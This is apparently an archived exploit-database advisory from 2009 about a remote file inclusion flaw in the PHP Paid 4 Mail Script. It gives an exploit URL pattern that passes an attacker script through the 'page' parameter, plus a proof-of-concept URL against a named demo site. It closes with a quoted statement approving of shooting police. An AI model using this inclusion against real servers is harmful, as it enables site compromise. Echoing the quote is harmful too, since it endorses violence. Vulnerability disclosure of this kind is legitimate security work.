PHP Paid 4 Mail Script - 'home.php' Remote File Inclusion

Author: int_main();
type: webapps
platform: php
port: 
date_added: 2009-07-26 
date_updated:  
verified: 1 
codes: OSVDB-56573;CVE-2009-2773 
tags: 
aliases:  
screenshot_url:  
application_url:

_______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)
\  \_/   \>    < |     \
 \_____  /__/\_ \\___  /
       \/      \/    \/
                       #ruling the web since 9/2008


  [=] PHP Paid 4 Mail Script File Inclusion vuln

       Vendor   : http://www.shop-020.de
       Script   : PHP Paid 4 Mail Script
       Download : http://www.shop-020.de/phpscriptat-p25h4s5-PHP-Paid-4-Mail-Scri.html
       Author   : int_main();
       Contact  : someone[at]jabber.ccc.de
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs



       Exploit:

       http://[target]/home.php?page=[evilscript]

       POC:

       http://www.city-demo.at/mail/home.php?page=http://google.de

       (File access is unfortunately disabled in this case, otherwise, this inclusion would work because of the coding gap.)

       Have phun, wui!

  [=]
       "Wir sagen natÃ¼rlich, die Bullen sind Schweine, wir sagen, der Typ in Uniform ist ein Schwein, das ist kein Mensch, (...)
       und natÃ¼rlich kann geschossen werden!" (Ulrike Meinhof, 1970)"
  [=]

# milw0rm.com [2009-07-27]